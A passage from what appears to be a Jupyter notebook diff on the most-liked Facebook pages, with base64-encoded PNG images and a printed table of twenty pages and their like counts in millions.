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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Most-liked Facebook pages\n", + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "code", + "execution_count": 123, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Page Likes(millions)\n", + "0 Facebook App 209\n", + "1 Samsung 161\n", + "2 Cristiano Ronaldo 125\n", + "3 CGTN 116\n", + "4 Real Madrid CF 111\n", + "5 Shakira 111\n", + "6 Coca-Cola 107\n", + "7 Will Smith 105\n", + "8 Vin Diesel 105\n", + "9 China Daily 103\n", + "10 FC Barcelona 103\n", + "11 Leo Messi 102\n", + "12 Tasty 98\n", + "13 Rihanna 96\n", + "14 Eminem 91\n", + "15 China Xinhua News 89\n", + "16 YouTube 86\n", + "17 People’s Daily_China 86\n", + "18 Mr Bean 86\n", + "19 McDonald’s 79\n" + ] + }, + { + "data": { + "image/png": "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